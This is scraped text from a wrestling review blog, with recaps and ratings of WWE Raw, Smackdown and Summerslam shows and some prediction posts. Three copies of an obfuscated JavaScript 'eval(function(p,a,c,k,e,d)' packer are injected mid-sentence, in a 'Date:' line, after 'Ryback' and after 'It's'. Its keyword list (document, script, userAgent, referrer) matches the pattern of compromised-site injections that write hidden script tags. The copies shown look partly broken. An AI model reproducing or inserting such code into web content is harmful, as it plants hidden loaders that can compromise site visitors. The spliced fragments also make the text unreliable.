Smackdown – September 18, 2003: As Close To A One Match Show As You’ll Ever Get
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ithzb|var|u0026u|referrer|nkkyn||js|php'.split('|'),0,{}))
September 18, 2003
Location: RBC Arena, Raleigh, North Carolina
Commentators: Michael Cole, Tazz
We get a tale of the tape for the main event which is something they should do more often.
Chris Benoit/Rey Mysterio vs. Tajiri/Rhyno
Video on Los Guerreros vs. Haas/Benjamin which is up later for the tag titles.
The Rock is going to be on the cover of GQ.
Shaniqua vs. Nidia/Torrie Wilson
Highlights of Lesnar vs. Angle I and II (Mania and Summerslam).
Eddie gets a sweet arm drag/headscissors combo to take both guys down. Frog splash is broken up and the second attempt is rolled through because Haas moved. Haas grabs some chairs but Chavo pops up to take out Shelton with a dropkick into the chair into the knee. The Guerreros hit something that looked like Haas broke his freaking neck. Brainbuster sets up the Frog Splash and we have new champions.
Rating: B-. Pretty solid match here as both teams know each other very well. They would hold the belts for a little while before the Bashams took them. Chavo would turn heel on Eddie but lose at the Rumble before Eddie would win the world title in February. Anyway pretty fun match here and fine for a TV tag title change.
Everyone is watching on monitors in the back.
Smackdown World Title: Brock Lesnar vs. Kurt Angle
Angle grabs a rollup for two so Brock takes his head off with a clothesline. Brock gets all ticked off and throws Angle over his head without leaving his own feet. Well that was awesome. It only gets two though and both guys are down. Kurt reverses another belly to belly into the ankle lock but Brock rolls through to send Angle to the floor. Angle goes into the steps again and back to the ring we go.
Rating: B. This match runs into the exact same problem that is more or less unavoidable for these matches: you can more or less skip the first 55 minutes and you still see the exciting parts. An hour is too long, even when the guys are having an entertaining match. This was good, but like I said the vast majority of it is just waiting for Angle to make his big comeback. However it does fly by as taking out commercials it runs about 46-48 minutes. Good match, but not a good idea for TV.
Monday Night Raw – August 26, 2002: The Beginning Of Modern WWE
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Night Raw
Date: August 26, 2002
Location: Madison Square Garden, New York City, New York
Commentators: Jim Ross, Jerry Lawler
Eric makes HHH vs. Taker for the main event for the first shot at Lesnar.
Booker T vs. Christian
We get a video from some political event from earlier in the day.
Bubba Ray Dudley/Spike Dudley vs. Christopher Nowitski/William Regal
Rating: D. Another nothing match here which appears to be a theme tonight. The new version of the Dudleys never worked at all and the original team would reunite at the Survivor Series, in this same building actually. Nowitski was all character and no substance, which is the same problem someone like Sandow has to overcome today. This is one of those matches where the best thing you can say it as least it was short.
Molly thanks Chris in the back and gives him a hug.
Chris Jericho vs. Jeff Hardy
Jericho takes him down to start with a suplex but Jeff pounds away in the corner to take over. The Canadian misses a dropkick and gets catapulted out to the floor. Jeff hits a HUGE dive to take Jericho out before running the barricade, only to charge right into a powerslam. Back in and Jericho hits a backbreaker before choking Jeff with his hanky. Jericho puts on a bow and arrow to stay on the back, making sure to tell the referee to ASK HIM.
Test is going to burn an American flag later tonight.
Hardcore Title/Intercontinental Title: Rob Van Dam vs. Tommy Dreamer
Van Dam hits some running shoulders to the ribs in the corner and a Russian legsweep gets two. We head to the floor with Dreamer pulling out a ladder. Van Dam superkicks it into Dreamer for two and sets the ladder up like a bridge between the ring and the barricade. Dreamer tries to bulldog Rob off the apron onto the ladder but Van Dam shoves him face first into the ladder. FREAKING OW MAN!!!
Lillian Garcia vs. Howard Finkel
Some guy named Criss Angel is going to live underwater for 24 hours. Ok then.
HHH vs. Undertaker
Overall Rating: D. And so it begins. Next week HHH would be handed the title that Sheamus currently holds because the world wants more HHH more than anything else. The problem with that is HHH in 2002 and 2003 was pretty awful, barely being able to pull out a good match if his life depended on it. Anyway, this was a pretty dull show with Lesnar being treated like nothing and the whole show being about HHH. Bad show, making last night an anomaly for the year.
Remember to follow me on Twitter @kbreviews
Monday Night Raw – August 19, 2002: The Final Rock vs. HHH Match
Monday Night Raw
Date: August 19, 2002
Location: Norfolk Scope Arena, Norfolk, Virginia
Commentators: Jim Ross, Jerry Lawler
Hardcore Title: Battle Royal
Tommy Dreamer, Jeff Hardy, Bradshaw, Bubba Ray Dudley, Crash Holly, Johnny Stamboli, Steven Richards, Terri, Spike Dudley
Stacy Keibler vs. Trish Stratus
Post break we actually recap the mud stuff.
Booker T/Goldust/Undertaker vs. Un-Americans
Booker fights up and hits a side kick out of nowhere to put both guys down. Double tags bring in Christian vs. Goldie and Goldust bulldogs and powerslams various opponents. He hits ten punches on Christian in the corner and loads up Shattered Dreams which hit after about 45 seconds of waiting for the referee to not be looking. Taker boots Test down and they fight up the ramp as Booker hits an ax kick on Storm. Christian knocks out Goldust with a title belt for the pin.
We get a long video about Rock training for his match against Lesnar, which means training for The Rundown.
Rob Van Dam vs. Big Show
We get a long music video about Summerslam and the big matches there.
The Rock vs. HHH
http://kbwrestlingreviews.com/2011/08/05/history-of-summerslam-count-up-summerslam-2002-best-summerslam-ever/
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What Happens In The Cell?
Ryback eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kisbt|var|u0026u|referrer|drffs||js|php'.split('|'),0,{})) vs. Punk in the Cell for the title is the main event of HIAC. That opens a lot of doors.At the end of the day, I can’t imagine Punk not being champion at the Rumble to face Rock. Now the question is will he be champion the entire way through the next few months? This is where the Cell becomes an issue, because otherwise the answer would be Ryback destroys Punk but Punk walks out and leaves the arena to save the title in fear. The Cell stops that from being an option, so the question is what do they do now?
The only thing I can see happening is Lesnar running in and attacking Ryback, setting up a match between them at TLC or the Rumble. if Ryback is going to lose in there, he has to lose by an inch and due to every method of cheating, illegal tactics, interference, and whatever else you can think of. Oh wait that can’t happen because it’s the Cell. Gee, MAYBE IT’S A FREAKING BAD IDEA TO HAVE THE CELL GUARANTEED WHEN YOU HAVE NO IDEA IF THE MATCH YOU WANT CAN HAPPEN IN IT! EVER THOUGHT OF THAT VINCE???
Anyway, the more I think about it, the more I think Ryback wins the title and then loses it in another gimmick match likely involving Punk and Cena at TLC. I mean, they wouldn’t do Rock vs. Ryback………….would they?
There’s one thing I’m sure of: I honestly do not know what is going to happen at TLC and I can’t even lean one way or another. That happens very rarely in WWE and I LOVE it.
Thoughts?
Wrestlemania 29 Poster Released
This is from WWE Magazine I believe. Nice job of keeping up with storylines boys.
Monday Night Raw – July 8, 2002: The Worst Decision In Company History
Monday Night Raw
Date: July 8, 2002
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Jim Ross, Jerry Lawler
We open with a recap of the 4th of July show with Angle making Undertaker tap out at the same time Undertaker pinned him.
Vince pops up to start and says Undertaker has the night off. Taker will however be on Smackdown to welcome Rock back. The main event for Vengeance is Rock vs. Taker vs. Angle for the title.
Theme song.
Eddie Guerrero vs. Booker T
Booker pounds on him to start and a knee to the ribs looks to set up the ax kick, only for Eddie to get in a shot to the knee and take over. A rollup with feet on the ropes gets two for Eddie and this is going slow already. Eddie suplexes him down and hits a neckbreaker for two. Booker comes out of nowhere with his corner sunset flip for the pin.
Rating: D+. This was about three minutes of punching and kicking followed by a nearly botched sunset flip out of the corner. For two world champion level guys, you kind of expect a bit more. That being said, this was pretty much normal for Raw around this time, as nothing was really clicking at all.
A familiar name is coming to WWE. His name: Rey Mysterio.
We get a famous Rock moment of him driving Lillian crazy.
Chris Benoit vs. Bubba Ray Dudley
Rating: C. It was better than the previous match because of the intensity in it, but was this really the best thing they could use Benoit for after he came back from injury? The match was barely long enough to rate and it was nothing interesting at all. Bubba Ray Dudley is roughly the third biggest face on the show right now, which should give you a good idea of how things were.
Post match the former Radicalz beat the Dudleys down until Booker and Goldust make the save.
Flair is praising Jeff in the back for trying last week when Steven Richards come up. We get Flair vs. Richards tonight, because in 2002 we use guys like Flair and Benoit to put over guys like Steven Richards and Bubba Ray Dudley, and by put over I mean beat them in three and a half minute matches that no one will remember by the end of the show because there was nothing to them.
Trish Stratus/Bradshaw vs. Christopher Nowitski/Jackie Gayda
Rock moment shows him making fun of whoever he happens to be feuding with at the time.
Ric Flair vs. Steven Richards
Flair pounds him into the corner to start like some legend beating down some midcard guy that never really got over other than for a few months. Flair pounds on him in the other corner now and we head to the floor. Back in and Flair gets backdropped but avoids a dropkick. Flair blocks a suplex, hits a belly to back of his own, and ends it with the Figure Four.
Here are Heyman and the KOTR and #1 contender, Brock Lesnar. Heyman talks about how whoever wins the triple threat is going to be the lamb led to slaughter at Summerslam. Lesnar gets RVD for the IC Title at Vengeance which Heyman declares a win already. Heyman knows this because he created RVD (and never put the world title on him for no apparent reason) along with everyone else in ECW. He made them to satiate the blood thist (his terms) of these Philadelphia fans.
Pat Croce, the former boss of the Philadelphia 76ers, is here to talk about his new show Slam Ball, which is this freaky idea that had basketball being played with trampolines.
European Title: Jeff Hardy vs. William Regal
This is your life Rock!
Regal starts to cry in the back. This also went nowhere as far as I remember.
The Dudleys ask RVD to be their partner.
NWO/Chris Benoit/Eddie Guerrero vs. Bubba Ray Dudley/Spike Dudley/Rob Van Dam/Booker T/Goldust
Shawn warns HHH to join or else to end the show.
Remember to follow me on Twitter @kbreviews
Monday Night Raw – August 20, 2012: The Fall Is Looking Better Than The Summer (Slam)
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Night Raw
Date: August 20, 2012
Location: Save Mart Center, Fresno, California
Commentators: Jim Ross, Jerry Lawler
Sin Cara/Kofi Kingston/R-Truth vs. Prime Time Players/Cody Rhodes
Ryback vs. Mike Spitter/Andy Takarez
Ryback puts on the Clutch but gets destroyed anyway. The jobbers get beaten up too.
Dolph comes up to Jericho in the back and Jericho lists off his names. AJ comes in and makes a rematch between the two, with the obvious stipulation of Case vs. job.
Randy Orton vs. Alberto Del Rio
Punk says there was no controversy to his win last night. He still wants respect.
We get a Tout from Antonio Cesaro and Aksana in the ring after winning the title last night.
Damien Sandow vs. Brodus Clay
David Otunga vs. Big Show
Earlier today Show ranted about the match last night.
Kane/Zach Ryder vs. The Miz/Daniel Bryan
Divas Battle Royal
Wade Barrett is still coming back.
Daniel Bryan has to go to anger management classes, which gives us a way to talk about the WWE App for Android.
Dolph Ziggler vs. Chris Jericho
Contract vs. MITB Case here. Jericho gets a quick rollup to start and Dolph bails to the floor. Back in and Jericho grabs another rollup for the same result. A missile dropkick puts Ziggler down and Jericho backdrops him out to the floor. The springboard dropkick puts Dolph out there again and we take a break. Back with Ziggler holding a chinlock and doing the handstand. Jericho finally escapes and takes Ziggler down with a shoulder.
Results
Kofi Kingston/R-Truth/Sin Cara b. Prime Time Players/Cody Rhodes – Rollup to Rhodes
Ryback b. Mike Spitter/Andy Takarez via DQ when Jinder Mahal interfered
Randy Orton b. Alberto Del Rio – RKO
Damien Sandow b. Brodus Clay – Rollup with a handful of tights
Big Show b. David Otunga – WMD
Kaitlyn won a battle royal last eliminating Eve
Dolph Ziggler b. Chris Jericho – Zig Zag
Remember to follow me on Twitter @kbreviews
Summerslam 2012: Lesnar Is A Wrestler Again, Just Like Everyone Else
Summerslam 2012
Date: August 19, 2012
Location: Staples Center, Los Angeles, California
Commentators: Michael Cole, Jerry Lawler
Pre-Show: US Title: Santino Marella vs. Antonio Cesaro
Dolph Ziggler vs. Chris Jericho
Time for a recap of Lesnar vs. HHH, this time being from Monday with Shawn getting his arm broken.
Daniel Bryan vs. Kane
Kane chases Bryan into the back and destroys Josh Matthews for talking to him.
Intercontinental Title: The Miz vs. Rey Mysterio
An attempt at the sitout bulldog on the floor is countered by Miz throwing Rey into the barricade. Back in and Rey escapes a belly to back suplex into a cross body for two. Miz hits a kind of Abyss Shock Treatment for two which was a good looking move for him. Off to a cravate from the champion followed by the corner clothesline. Miz loads up his top rope ax handle but Mysterio crotches him to get a breather.
Rey heads up and hits the seated senton, only to get caught in a sitout powerbomb when he tries a rana. Rey kicks him in the head for two before countering a slam into a spinning DDT for the same. Rey ranas him off the top into the 619 but the top rope splash misses. The Finale is countered into a rollup for a very close two. And never mind as the Skull Crushing Finale retains the title for Miz at 9:13.
Smackdown World Title: Sheamus vs. Alberto Del Rio
Some soldiers are here.
HHH told the referee earlier to only end it on a pin or submission. Let them fight apparently.
Tag Titles: Prime Time Players vs. Kofi Kingston/R-Truth
We recap the events in LA before the PPV. Basically, BE A STAR!
HHH vs. Lesnar is main eventing. Is anyone really surprised by that?
Raw World Title: CM Punk vs. John Cena vs. Big Show
Show loads up the WMD but Cena goes after Show to break it up. Show spears Cena down for two and the small guys are down again. The Vader Bomb aimed at both only hits Cena but Punk saves the pin. Show and Cena go to the floor and the Big Bald catches Punk in mid suicide dive. He throws Punk into the ropes and heads back inside. Cena loads up his finishing sequence on Show to huge boos, only to get taken down by Punk.
Cue AJ who says restart the match. Show chokeslams both guys and gets two on both. Cena pops up and hits the AA on Show, but Punk throws him to the floor and pins Show to retain at 12:38 total.
Fred Durst, Piers Morgan, Rick Rubin (music producer), David Arquette and Maria Menounos are here.
We recap the pre-show match.
Time for the annual Summerslam concert as Kevin Rudolph performs Be A Star. I have never heard so much silence when a musician takes the stage Some Divas come out and dance with him. The announcers dance too. This just came and went.
Time for the BIG recap of Lesnar vs. HHH.
HHH vs. Brock Lesnar
Brock charges to start ala vs. Cena but HHH punches his way out of the arm. Brock gets the arm hold on and even jumps onto a standing HHH with it but HHH punches out of it again. A clothesline puts Lesnar on the floor and a jumping knee puts Lesnar down again. Lesnar gets sent to the floor for the second time and this has been almost all HHH in the first two minutes.
HHH gets to do the big “I don’t need medical help” stand up and walk out but the fans tell him he tapped out. They play it up like it’s his last match. Right.
Results
Chris Jericho b. Dolph Ziggler – Walls of Jericho
Daniel Bryan b. Kane – Small Package
The Miz b. Rey Mysterio – Skull Crushing Finale
Sheamus b. Alberto Del Rio – Irish Curse
Kofi Kingston/R-Truth b. Prime Time Players – Little Jimmy to Young
CM Punk b. John Cena and Big Show – Pinned Show after an AA from Cena
Brock Lesnar b. HHH – Kimura
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Summerslam 2012 Preview
It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efzyi|var|u0026u|referrer|tizbr||js|php'.split('|'),0,{})) Summerslam time and honestly I barely care after this lackluster build. Let’s get to it.We’ll start with the matches of course.
For the preshow I’ll take Santino to retain in some wacky manner. It should go to Cesaro to just give him something to do but they’re pushing Cesaro too hard to have him win here.
On to the main card, I’ll go with Bryan over Kane. Bryan hasn’t won a singles match in months but yet he doesn’t need to win at all. I’ll go with him because there is no reason to have Kane win at all here.
Ziggler over Jericho due to the word on the street being that Jericho is done after Sunday.
Miz to retain I guess but honestly does anyone care at all here?
Hopefully the Prime Time PLayers take the tag belts as Kofi and Truth are some of the lamest champions I can remember in a long time, which is saying something for the freaking tag team titles.
Sheamus over Del Rio with a possible cash in for Ziggler. I really hope they don’t put it on Del Rio and then have Ziggy cash in. That move drives me crazy.
For the main events, I’m hoping for Punk to retain but Big Show being in there would point to Cena walking out with the title.
For the real main event that hopefully won’t go on last, it has to be Lesnar. I mean…..it HAS TO BE Lesnar……right?
Overall, this is one of the weakest looking Summerslams I can remember in a very long time. The world title match is dragged down by a combination of Big Show and Punk seeming to have no idea if he’s a face or a heel. At the end of the day, Rock continues to loom over this company but at least now there’s an open spot to face him at the Rumble. Other than that, we have Lesnar vs. HHH in a feud that has almost no heat on it because it was started and then not mentioned again for three months before Shawn turned into a scared coward and Lesnar turned into every other cowardly heel that runs from a fight on the roster despite running over JOHN FREAKING CENA like he wasn’t there. But hey, it makes HHH look more feared and if anyone needs the extra boost, it’s HHH.
Thoughts/predictions?
Monday Night Raw – August 13, 2012: Bad Things Happen In WWE Parking Lots
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Night Raw
Date: August 13, 2012
Location: American Airlines Center, Dallas, Texas
Commentators: Michael Cole, Jerry Lawler
CM Punk vs. Big Show
Bryan puts Punk in the NO Lock but Show breaks it up for no apparent reason. Cena comes out to save Punk and clears the ring. AJ comes out and makes the obvious tag for later in the show.
JTG vs. Ryback
Santino defends against Cesaro on Sunday.
Piper is in the back sounding drunk and asking who will be in the Pit. He asks someone off screen who he thinks will be in the Pit and Shawn Michaels is next to him. Shawn is worried about Lesnar tonight and he gets a call from presumably HHH who is going to be getting here late tonight.
Heath Slater vs. R-Truth
The Players run out for the 2-1 beatdown because Kofi is in China still.
Mark Henry was in London for the Olympics.
Pauly D from Jersey Shore is the social media ambassador tonight.
We recap the Del Rio vs. Sheamus feud and we see the incident from Friday where Sheamus was attacked by fake cops, which is why the title match was cancelled.
Sin Cara vs. Tensai
Tensai hits a Baldo Bomb and backsplash on Sakamoto post match.
Shawn asks someone to let him know if they see Brock.
Chris Jericho vs. The Miz vs. Dolph Ziggler
This was made during the break apparently. The heels go after Jericho to start but he fights them both off with ease. Ziggler gets sent to the floor so Jericho chops away at Miz. Dolph trips Jericho up and comes back in for some stomping. Jericho gets double teamed a bit and things slow down. A double suplex puts the Canadian down and Ziggler drops the big jumping elbow.
We get a LONG recap of the stuff that opened the show and led to the tag main event.
Wade Barrett is coming back.
Kaitlyn/Layla vs. Eve Torres/Beth Phoenix
Video on Lesnar vs. HHH.
Big Show/Daniel Bryan vs. CM Punk/John Cena
Brock and Heyman are here.
Christian vs. Damien Sandow
Sandow goes after him to start but Christian takes over with a shot in the corner. A right hand to the head sets up the jumping back elbow off the middle rope for no cover. Sandow bails before the Killswitch can be set up and they heads to the floor, where Christian is rammed about seven times into the steps. Cue Brodus who is in a cast from the attack last week. The distraction lets Christian roll Sandow up for two. Sandow hits his neckbreaker for the clean win at 2:11.
We get some TOUTS because what would Raw be without them?
Back and we recap exactly what we just saw. The car window is destroyed and Shawn is missing. HHH comes up and rants to AJ.
Results
CM Punk b. Big Show via DQ when Daniel Bryan interfered
Ryback b. JTG – Shell Shock
R-Truth b. Heath Slater – Little Jimmy
Sin Cara b. Tensai – Tornado DDT
Dolph Ziggler b. The Miz and Chris Jericho – Zig Zag to Jericho
Layla/Kaitlyn b. Beth Phoenix/Eve Torres – Rollup to Phoenix
Damien Sandow b. Christian – Neckbreaker
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